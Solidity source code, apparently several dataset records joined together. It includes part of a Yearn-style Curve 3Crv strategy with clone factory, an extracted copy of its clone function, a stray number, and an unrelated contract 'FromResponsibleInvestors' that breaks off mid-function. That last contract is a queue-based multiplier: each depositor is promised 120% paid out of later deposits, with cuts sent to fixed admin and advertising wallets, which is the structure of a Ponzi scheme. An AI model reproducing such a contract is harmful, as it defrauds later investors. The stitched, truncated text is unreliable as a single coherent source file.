_delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // Part: StrategyCurveBase abstract contract StrategyCurveBase is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ // these should stay the same across different wants. // curve infrastructure contracts ICurveStrategyProxy public proxy; // Below we set it to Yearn's Updated v4 StrategyProxy address public gauge; // Curve gauge contract, most are tokenized, held by Yearn's voter // keepCRV stuff uint256 public keepCRV = 1000; // the percentage of CRV we re-lock for boost (in basis points) uint256 internal constant FEE_DENOMINATOR = 10000; // this means all of our fee values are in basis points address public constant voter = 0xF147b8125d2ef93FB6965Db97D6746952a133934; // Yearn's veCRV voter // Swap stuff address internal constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // default to sushiswap, more CRV and CVX liquidity there IERC20 internal constant crv = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52); IERC20 internal constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); bool internal forceHarvestTriggerOnce; // only set this to true externally when we want to trigger our keepers to harvest for us string internal stratName; // set our strategy name here /* ========== CONSTRUCTOR ========== */ constructor(address _vault) public BaseStrategy(_vault) {} /* ========== VIEWS ========== */ function name() external view override returns (string memory) { return stratName; } function stakedBalance() public view returns (uint256) { return proxy.balanceOf(gauge); } function balanceOfWant() public view returns (uint256) { return want.balanceOf(address(this)); } function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant().add(stakedBalance()); } /* ========== MUTATIVE FUNCTIONS ========== */ // these should stay the same across different wants. function adjustPosition(uint256 _debtOutstanding) internal override { if (emergencyExit) { return; } // Send all of our LP tokens to the proxy and deposit to the gauge if we have any uint256 _toInvest = balanceOfWant(); if (_toInvest > 0) { want.safeTransfer(address(proxy), _toInvest); proxy.deposit(gauge, address(want)); } } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 _wantBal = balanceOfWant(); if (_amountNeeded > _wantBal) { // check if we have enough free funds to cover the withdrawal uint256 _stakedBal = stakedBalance(); if (_stakedBal > 0) { proxy.withdraw( gauge, address(want), Math.min(_stakedBal, _amountNeeded.sub(_wantBal)) ); } uint256 _withdrawnBal = balanceOfWant(); _liquidatedAmount = Math.min(_amountNeeded, _withdrawnBal); _loss = _amountNeeded.sub(_liquidatedAmount); } else { // we have enough balance to cover the liquidation available return (_amountNeeded, 0); } } // fire sale, get rid of it all! function liquidateAllPositions() internal override returns (uint256) { uint256 _stakedBal = stakedBalance(); if (_stakedBal > 0) { // don't bother withdrawing zero proxy.withdraw(gauge, address(want), _stakedBal); } return balanceOfWant(); } function prepareMigration(address _newStrategy) internal override { uint256 _stakedBal = stakedBalance(); if (_stakedBal > 0) { proxy.withdraw(gauge, address(want), _stakedBal); } } function protectedTokens() internal view override returns (address[] memory) {} /* ========== SETTERS ========== */ // These functions are useful for setting parameters of the strategy that may need to be adjusted. // Use to update Yearn's StrategyProxy contract as needed in case of upgrades. function setProxy(address _proxy) external onlyGovernance { proxy = ICurveStrategyProxy(_proxy); } // Set the amount of CRV to be locked in Yearn's veCRV voter from each harvest. Default is 10%. function setKeepCRV(uint256 _keepCRV) external onlyAuthorized { require(_keepCRV <= 10_000); keepCRV = _keepCRV; } // This allows us to manually harvest with our keeper as needed function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce) external onlyAuthorized { forceHarvestTriggerOnce = _forceHarvestTriggerOnce; } } // File: StrategyCurve3CrvRewardsClonable.sol contract StrategyCurve3CrvRewardsClonable is StrategyCurveBase { /* ========== STATE VARIABLES ========== */ // these will likely change across different wants. // Curve stuff address public curve; // This is our pool specific to this vault. Use it with zap contract to specify our correct pool. ICurveFi internal constant zapContract = ICurveFi(0xA79828DF1850E8a3A3064576f380D90aECDD3359); // this is used for depositing to all 3Crv metapools // we use these to deposit to our curve pool address public targetStable; address internal constant uniswapv3 = address(0xE592427A0AEce92De3Edee1F18E0157C05861564); IERC20 internal constant usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); IERC20 internal constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 internal constant dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); uint24 public uniCrvFee; // this is equal to 1%, can change this later if a different path becomes more optimal uint24 public uniStableFee; // this is equal to 0.05%, can change this later if a different path becomes more optimal // rewards token info. we can have more than 1 reward token but this is rare, so we don't include this in the template IERC20 public rewardsToken; bool public hasRewards; address[] internal rewardsPath; // check for cloning bool internal isOriginal = true; /* ========== CONSTRUCTOR ========== */ constructor( address _vault, address _curvePool, address _gauge, bool _hasRewards, address _rewardsToken, string memory _name ) public StrategyCurveBase(_vault) { _initializeStrat(_curvePool, _gauge, _hasRewards, _rewardsToken, _name); } /* ========== CLONING ========== */ event Cloned(address indexed clone); // we use this to clone our original strategy to other vaults function cloneCurve3CrvRewards( address _vault, address _strategist, address _rewards, address _keeper, address _curvePool, address _gauge, bool _hasRewards, address _rewardsToken, string memory _name ) external returns (address newStrategy) { require(isOriginal); // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } StrategyCurve3CrvRewardsClonable(newStrategy).initialize( _vault, _strategist, _rewards, _keeper, _curvePool, _gauge, _hasRewards, _rewardsToken, _name ); emit Cloned(newStrategy); } // this will only be called by the clone function above function initialize( address _vault, address _strategist, address _rewards, address _keeper, address _curvePool, address _gauge, bool _hasRewards, address _rewardsToken, string memory _name ) public { _initialize(_vault, _strategist, _rewards, _keeper); _initializeStrat(_curvePool, _gauge, _hasRewards, _rewardsToken, _name); } // this is called by our original strategy, as well as any clones function _initializeStrat( address _curvePool, address _gauge, bool _hasRewards, address _rewardsToken, string memory _name ) internal { // make sure that we haven't initialized this before require(address(curve) == address(0)); // already initialized. // You can set these parameters on deployment to whatever you want maxReportDelay = 7 days; // 7 days in seconds minReportDelay = 3 days; // 3 days in seconds healthCheck = 0xDDCea799fF1699e98EDF118e0629A974Df7DF012; // health.ychad.eth // need to set our proxy again when cloning since it's not a constant proxy = ICurveStrategyProxy(0xA420A63BbEFfbda3B147d0585F1852C358e2C152); // these are our standard approvals. want = Curve LP token want.approve(address(proxy), type(uint256).max); crv.approve(uniswapv3, type(uint256).max); weth.approve(uniswapv3, type(uint256).max); // set our keepCRV keepCRV = 1000; // setup our rewards if we have them if (_hasRewards) { rewardsToken = IERC20(_rewardsToken); rewardsToken.approve(sushiswap, type(uint256).max); rewardsPath = [address(rewardsToken), address(weth), address(dai)]; hasRewards = true; } // this is the pool specific to this vault, but we only use it as an address curve = address(_curvePool); // set our curve gauge contract gauge = address(_gauge); // set our strategy's name stratName = _name; // these are our approvals and path specific to this contract dai.approve(address(zapContract), type(uint256).max); usdt.safeApprove(address(zapContract), type(uint256).max); // USDT requires safeApprove(), funky token usdc.approve(address(zapContract), type(uint256).max); // start with dai targetStable = address(dai); // set our uniswap pool fees uniCrvFee = 10000; uniStableFee = 500; } /* ========== MUTATIVE FUNCTIONS ========== */ // these will likely change across different wants. function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { // if we have anything in the gauge, then harvest CRV from the gauge uint256 _stakedBal = stakedBalance(); if (_stakedBal > 0) { proxy.harvest(gauge); uint256 _crvBalance = crv.balanceOf(address(this)); // if we claimed any CRV, then sell it if (_crvBalance > 0) { // keep some of our CRV to increase our boost uint256 _sendToVoter = _crvBalance.mul(keepCRV).div(FEE_DENOMINATOR); if (keepCRV > 0) { crv.safeTransfer(voter, _sendToVoter); } uint256 crvRemainder = _crvBalance.sub(_sendToVoter); if (hasRewards) { proxy.claimRewards(gauge, address(rewardsToken)); uint256 _rewardsBalance = rewardsToken.balanceOf(address(this)); if (_rewardsBalance > 0) { _sellRewards(_rewardsBalance); } } if (crvRemainder > 0) { _sell(crvRemainder); } // check for balances of tokens to deposit uint256 _daiBalance = dai.balanceOf(address(this)); uint256 _usdcBalance = usdc.balanceOf(address(this)); uint256 _usdtBalance = usdt.balanceOf(address(this)); // deposit our balance to Curve if we have any if (_daiBalance > 0 || _usdcBalance > 0 || _usdtBalance > 0) { zapContract.add_liquidity( curve, [0, _daiBalance, _usdcBalance, _usdtBalance], 0 ); } } } // debtOustanding will only be > 0 in the event of revoking or if we need to rebalance from a withdrawal or lowering the debtRatio if (_debtOutstanding > 0) { if (_stakedBal > 0) { // don't bother withdrawing if we don't have staked funds proxy.withdraw( gauge, address(want), Math.min(_stakedBal, _debtOutstanding) ); } uint256 _withdrawnBal = balanceOfWant(); _debtPayment = Math.min(_debtOutstanding, _withdrawnBal); } // serious loss should never happen, but if it does (for instance, if Curve is hacked), let's record it accurately uint256 assets = estimatedTotalAssets(); uint256 debt = vault.strategies(address(this)).totalDebt; // if assets are greater than debt, things are working great! if (assets > debt) { _profit = assets.sub(debt); uint256 _wantBal = balanceOfWant(); if (_profit.add(_debtPayment) > _wantBal) { // this should only be hit following donations to strategy liquidateAllPositions(); } } // if assets are less than debt, we are in trouble else { _loss = debt.sub(assets); } // we're done harvesting, so reset our trigger if we used it forceHarvestTriggerOnce = false; } // Sells our harvested CRV into the selected output. function _sell(uint256 _amount) internal { IUniV3(uniswapv3).exactInput( IUniV3.ExactInputParams( abi.encodePacked( address(crv), uint24(uniCrvFee), address(weth) ), address(this), block.timestamp, _amount, uint256(1) ) ); uint256 _wethBalance = weth.balanceOf(address(this)); IUniV3(uniswapv3).exactInput( IUniV3.ExactInputParams( abi.encodePacked( address(weth), uint24(uniStableFee), address(targetStable) ), address(this), block.timestamp, _wethBalance, uint256(1) ) ); } // Sells our harvested reward token into the selected output. function _sellRewards(uint256 _amount) internal { IUniswapV2Router02(sushiswap).swapExactTokensForTokens( _amount, uint256(0), rewardsPath, address(this), block.timestamp ); } /* ========== KEEP3RS ========== */ function harvestTrigger(uint256 callCostinEth) public view override returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // harvest no matter what once we reach our maxDelay if (block.timestamp.sub(params.lastReport) > maxReportDelay) { return true; } // check if the base fee gas price is higher than we allow. if it is, block harvests. if (!isBaseFeeAcceptable()) { return false; } // trigger if we want to manually harvest if (forceHarvestTriggerOnce) { return true; } // harvest if we hit our minDelay, but only if our gas price is acceptable if (block.timestamp.sub(params.lastReport) > minReportDelay) { return true; } // otherwise, we don't harvest return false; } // convert our keeper's eth cost into want, we don't need this anymore since we don't use baseStrategy harvestTrigger function ethToWant(uint256 _ethAmount) public view override returns (uint256) { return _ethAmount; } // check if the current baseFee is below our external target function isBaseFeeAcceptable() internal view returns (bool) { return IBaseFee(0xb5e1CAcB567d98faaDB60a1fD4820720141f064F) .isCurrentBaseFeeAcceptable(); } /* ========== SETTERS ========== */ // These functions are useful for setting parameters of the strategy that may need to be adjusted. // Use to add or update rewards function updateRewards(address _rewardsToken) external onlyGovernance { // reset allowance to zero for our previous token if we had one if (address(rewardsToken) != address(0)) { rewardsToken.approve(sushiswap, uint256(0)); } // update with our new token, use dai as default rewardsToken = IERC20(_rewardsToken); rewardsToken.approve(sushiswap, type(uint256).max); rewardsPath = [address(rewardsToken), address(weth), address(dai)]; hasRewards = true; } // Use to turn off extra rewards claiming function turnOffRewards() external onlyGovernance { hasRewards = false; if (address(rewardsToken) != address(0)) { rewardsToken.approve(sushiswap, uint256(0)); } rewardsToken = IERC20(address(0)); } // Set optimal token to sell harvested funds for depositing to Curve. // Default is DAI, but can be set to USDC or USDT as needed by strategist or governance. function setOptimal(uint256 _optimal) external onlyAuthorized { if (_optimal == 0) { targetStable = address(dai); } else if (_optimal == 1) { targetStable = address(usdc); } else if (_optimal == 2) { targetStable = address(usdt); } else { revert("incorrect token"); } } // set the fee pool we'd like to swap through for CRV on UniV3 (1% = 10_000) function setUniFees(uint24 _crvFee, uint24 _stableFee) external onlyAuthorized { uniCrvFee = _crvFee; uniStableFee = _stableFee; } }
we use this to clone our original strategy to other vaults Copied from https:github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol EIP-1167 bytecode
function cloneCurve3CrvRewards( address _vault, address _strategist, address _rewards, address _keeper, address _curvePool, address _gauge, bool _hasRewards, address _rewardsToken, string memory _name ) external returns (address newStrategy) { require(isOriginal); bytes20 addressBytes = bytes20(address(this)); assembly { let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } StrategyCurve3CrvRewardsClonable(newStrategy).initialize( _vault, _strategist, _rewards, _keeper, _curvePool, _gauge, _hasRewards, _rewardsToken, _name ); emit Cloned(newStrategy); }
2,340,311
pragma solidity ^0.4.25; library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } function max(uint a, uint b) internal pure returns(uint) { if (a > b) { return a; } return b; } } library Percent { // Solidity automatically throws when dividing by 0 struct percent { uint num; uint den; } // storage function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } } contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() internal { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } } //шаблон контракта contract distribution is Ownable { using SafeMath for uint; uint public currentPaymentIndex = 0; uint public depositorsCount; uint public amountForDistribution = 0; uint public amountRaised = 0; struct Deposite { address depositor; uint amount; uint depositeTime; uint paimentTime; } Deposite[] public deposites; mapping ( address => uint[]) public depositors; function getAllDepositesCount() public view returns (uint) ; function getLastDepositId() public view returns (uint) ; function getDeposit(uint _id) public view returns (address, uint, uint, uint); } contract FromResponsibleInvestors is Ownable { using Percent for Percent.percent; using SafeMath for uint; using Math for uint; //Address for advertising and admins expences address constant public advertisingAddress = address(0x43571AfEA3c3c6F02569bdC59325F4f95463014d); //test wallet address constant public adminsAddress = address(0x8008BD6FdDF2C26382B4c19d714A1BfeA317ec57); //test wallet //Percent for promo expences Percent.percent private m_adminsPercent = Percent.percent(3, 100); // 3/100 *100% = 3% Percent.percent private m_advertisingPercent = Percent.percent(5, 100);// 5/100 *100% = 5% //How many percent for your deposit to be multiplied Percent.percent public MULTIPLIER = Percent.percent(120, 100); // 120/100 * 100% = 120% //flag for end migration deposits from oldContract bool public migrationFinished = false; uint public amountRaised = 0; uint public advertAmountRaised = 0; //for advertising all //The deposit structure holds all the info about the deposit made struct Deposit { address depositor; //The depositor address uint deposit; //The deposit amount uint expects; //How much we should pay out (initially it is 120% of deposit) uint paymentTime; //when payment } Deposit[] private ImportedQueue; //The queue for imported investments Deposit[] private Queue; //The queue for new investments // list of deposites for 1 user mapping(address => uint[]) public depositors; uint public depositorsCount = 0; uint public currentImportedReceiverIndex = 0; //The index of the first depositor in OldQueue. The receiver of investments! uint public currentReceiverIndex = 0; //The index of the first depositor in the queue. The receiver of investments! uint public minBalanceForDistribution = 24 ether; //первый минимально необходимый баланс должен быть достаточным для выплаты по 12 ETH из каждой очереди // more events for easy read from blockchain event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogImportInvestorsPartComplete(uint when, uint howmuch, uint lastIndex); event LogNewInvestor(address indexed addr, uint when); constructor() public { } //создаем депозит инвестора в основной очереди function () public payable { if(msg.value > 0){ require(msg.value >= 0.01 ether, "investment must be >= 0.01 ether"); //ограничение минимального депозита require(msg.value <= 10 ether, "investment must be <= 10 ether"); //ограничение максимального депозита //к выплате 120% от депозита uint expect = MULTIPLIER.mul(msg.value); Queue.push(Deposit({depositor:msg.sender, deposit:msg.value, expects:expect, paymentTime:0})); amountRaised += msg.value; if (depositors[msg.sender].length == 0) depositorsCount += 1; depositors[msg.sender].push(Queue.length - 1); uint advertperc = m_advertisingPercent.mul(msg.value); 